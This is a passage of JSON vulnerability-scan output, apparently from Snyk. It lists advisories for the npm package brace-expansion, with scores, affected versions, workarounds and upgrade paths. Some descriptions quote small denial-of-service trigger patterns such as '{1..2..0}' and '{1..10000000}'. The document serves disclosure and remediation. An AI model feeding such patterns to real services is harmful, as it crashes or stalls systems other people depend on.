"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", 